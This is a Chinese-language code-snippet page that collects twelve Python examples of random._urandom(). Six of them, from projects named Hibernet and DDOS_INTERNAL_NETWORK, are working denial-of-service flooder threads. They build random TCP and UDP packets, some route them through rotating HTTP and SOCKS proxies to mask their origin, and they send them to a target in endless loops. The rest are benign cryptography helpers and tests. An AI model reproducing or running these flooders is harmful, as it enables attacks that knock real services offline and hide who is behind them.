Python random 模块,_urandom() 实例源码

我们从Python开源项目中,提取了以下12个代码示例,用于说明如何使用random._urandom()

项目:Hibernet    作者:All3xJ    | 项目源码 | 文件源码
def run(self): # la funzione che da' le istruzioni ai vari threads
        data = random._urandom(1024) # data per il pacchetto random
        p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data
        current = x # per dare l'id al thread
        if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
            proxy = proxies[current].strip().split(':')
        else: # altrimenti lo prende a random
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # aspetta che tutti i proxy siano pronti
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # comando per il proxying HTTP
                s = socks.socksocket() # creazione socket
                s.connect((str(url2),int(port))) # si connette
                s.send(p) # ed invia
                print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
            except: # se si verifica un errore
                s.close() # chiude il thread e ricomincia
项目:Hibernet    作者:All3xJ    | 项目源码 | 文件源码
def run(self): # la funzione che da' le istruzioni ai vari threads
        data = random._urandom(1024) # data per il pacchetto random
        p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # crea pacchetto udp classico + data
        current = x # per dare l'id al thread
        if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
            proxy = proxies[current].strip().split(':')
        else: # altrimenti lo prende a random
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # aspetta che threads sono pronti
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # comando per il proxying HTTP
                s = socks.socksocket() # creazione socket
                s.connect((str(url2),int(port))) # connessione
                s.send(p) # invio
                print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
            except: # se qualcosa va storto
                s.close() # chiude il socket
项目:crypto    作者:erose1337    | 项目源码 | 文件源码
def split_secret(secret, piece_count, function):
    """ Splits secret into piece_count separate challenges, based on cracking a
        given output function from function.

        The secret can be recovered by a threshold quantity of pieces, which is
        determined by the size of the secret and the number/weight of pieces. 

        Challenge weight is calculated as:

            piece_size, last_challenge_size = divmod(len(secret), piece_count - 1)

        Note that if the length of secret is not evenly divisible by piece_count,
        then the last challenge will be of weight len(secret) % (piece_count - 1). """
    piece_size, remainder = divmod(len(secret), piece_count - 1)    
    pieces = []
    for index in range(piece_count - 1):
        piece = secret[index * piece_size:(index + 1) * piece_size]
        challenge_iv = random._urandom(16)
        hash_output = function(challenge_iv, piece)
        pieces.append((index, hash_output, challenge_iv))
    last_iv = random._urandom(16)
    #print "Creating last block: ", -remainder
    pieces.append((index + 1, function(last_iv, secret[-remainder:]), last_iv))
    return pieces, function('', secret), piece_size
项目:Hibernet    作者:All3xJ    | 项目源码 | 文件源码
def run(self): # la funzione che da' le istruzioni ai vari threads
        data = random._urandom(1024) # data per il pacchetto random
        p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data
        current = x # per dare l'id al thread
        if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
            proxy = proxies[current].strip().split(':')
        else: # altrimenti lo prende a random
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # aspetta che threads siano pronti
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per il proxying via SOCKS
                s = socks.socksocket() # creazione socket
                s.connect((str(url2),int(port))) # si connette
                s.send(p) # ed invia
                print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
            except: # se si verifica un errore
                s.close() # intanto chiude il precedente socket non funzionante
                try:
                    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # poi prova ad utilizzare SOCKS4, magari e' questo il problema dell'errore
                    s = socks.socksocket() # creazione socket
                    s.connect((str(url2),int(port))) # connessione
                    s.send(p) # invio
                    print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
                except: # se nemmeno questo funge, allora il sock e' down
                    print ("Sock down. Retrying request. @", self.counter)
                    s.close() # chiude il socket e ricomincia ciclo
项目:Hibernet    作者:All3xJ    | 项目源码 | 文件源码
def run(self): # la funzione che da' le istruzioni ai vari threads
        data = random._urandom(1024) # data per il pacchetto random
        p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data
        go.wait() # aspetta che tutti i threads siano pronti
        while True: # ciclo infinito
            try: # il try per non far chiudere il programma se qualcosa va storto
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creazione solito socket
                s.connect((str(url2),int(port))) # connessione al target
                s.send(p) # questo manda il pacchetto tcp creato al target
                print ("Request Sent! @", self.counter) # print richiesta + counter
            except: # se si verifica un errore
                s.close() # lo ignora e ricomincia il ciclo
项目:Hibernet    作者:All3xJ    | 项目源码 | 文件源码
def run(self): # la funzione che da' le istruzioni ai vari threads
        data = random._urandom(1024) # data per il pacchetto random
        p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # crea pacchetto udp classico + data
        current = x # per dare l'id al thread
        if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
            proxy = proxies[current].strip().split(':')
        else: # altrimenti lo prende a random
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # aspetta che threads siano pronti
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per il proxying con SOCKS
                s = socks.socksocket() # creazione socket
                s.connect((str(url2),int(port))) # connessione
                s.send(p) # invio
                print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # req + counter
            except: # se qualcosa va storto questo except chiude il socket e si collega al try sotto
                s.close() # intanto chiude il precedente socket non funzionante
                try:
                    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # poi prova ad utilizzare SOCKS4, magari e' questo il problema dell'errore
                    s = socks.socksocket() # creazione socket
                    s.connect((str(url2),int(port))) # connessione
                    s.send(p) # invio
                    print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # req + counter
                except: # se nemmeno questo funge, allora il sock e' down
                    print ("Sock down. Retrying request. @", self.counter)
                    s.close() # chiude il socket e ricomincia ciclo
项目:crypto    作者:erose1337    | 项目源码 | 文件源码
def generate_challenge(key, mac_key, challenge_size=32, bytes_per_hash=1, 
                       hash_function="sha256", unencrypted_data='',
                       answer=bytes()):
    """ Create a challenge that only the holder of key should be able to solve.

        mac_key is required to assure integrity and authenticity of the 
        challenge to the client. 

        challenge_size is the total amount of data the client must crack.
        A random challenge of challenge_size is generated, and separated into
        challenge_size / bytes_per_hash subchallenges. The time taken to crack 
        a single subchallenge is O(2**n) (? not sure!), where n is the number 
        of bytes_per_hash. 

        hash_function is a string name of an algorithm available in the hashlib module

        unencrypted_data is an optional string of data to be packaged with the challenge.
        The data is not kept confidential, but possesses integrity and authenticity
        because of the message authentication code over the entire package.

        answer is an optional string, that when supplied, is used instead of a
        random challenge. If supplied, the challenge_size argument has no effect. """        
    answer = answer or random._urandom(challenge_size)
    challenge = encrypt(answer, key, hmac_factory(hash_function), input_block_size=bytes_per_hash)
    package = save_data(challenge, bytes_per_hash, unencrypted_data)
    return (save_data(generate_mac(mac_key, package, hash_function), hash_function, package), 
            answer)
项目:crypto    作者:erose1337    | 项目源码 | 文件源码
def create_password_recovery(function, trapdoor_information_size=16, password='',
                             password_prompt="Please enter the password to create a recovery hash: "):
    """ Create a password recovery hash. 
        Returns: function(password + trapdoor_information)

        Presuming the user remembers enough of the password hashed this way, 
        they should be able to recover the password given the hash and the
        trapdoor information. """
    trapdoor_information = random._urandom(trapdoor_information_size)
    return (function(trapdoor_information, 
                     password or getpass.getpass(password_prompt)), 
            trapdoor_information)
项目:crypto    作者:erose1337    | 项目源码 | 文件源码
def test_encrypt_decrypt():
    key = random._urandom(32)
    message = random._urandom(32)    
    ciphertext = encrypt(message, key, HMAC_SHA256)
    plaintext = decrypt(ciphertext, key, HMAC_SHA256, 32)
    assert plaintext == message, plaintext
项目:crypto    作者:erose1337    | 项目源码 | 文件源码
def test_challenge():
    key = random._urandom(32)
    mac_key = random._urandom(32)
    unencrypted_data = "This is some awesome unencrypted data"
    challenge, answer = generate_challenge(key, mac_key,
                                           unencrypted_data=unencrypted_data)
    _answer, _unencrypted_data = solve_challenge(challenge, key, mac_key)
    assert _answer == answer
    assert _unencrypted_data == unencrypted_data
项目:crypto    作者:erose1337    | 项目源码 | 文件源码
def test_validity():
    key = random._urandom(32)
    mac_key = random._urandom(32)
    unencrypted_data = "This is some awesome unencrypted data"
    for x in xrange(100):
        challenge, answer = generate_challenge(key, mac_key, unencrypted_data=unencrypted_data,
                                               bytes_per_hash=3)
        _answer, data = solve_challenge(challenge, key, mac_key)
        assert _answer == answer
项目:DDOS_INTERNAL_NETWORK    作者:Luth1er    | 项目源码 | 文件源码
def run(self):
      try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        bytes = random._urandom(self.size)
        while True:
            s.sendto(bytes,(self.ip, self.port))
            print colors.vermelho + " [*] Pckt send:" + ":"+colors.verde + self.ip
      except KeyboardInterrupt:
        print('')
        print(colors.R+ "[!] Exiting...")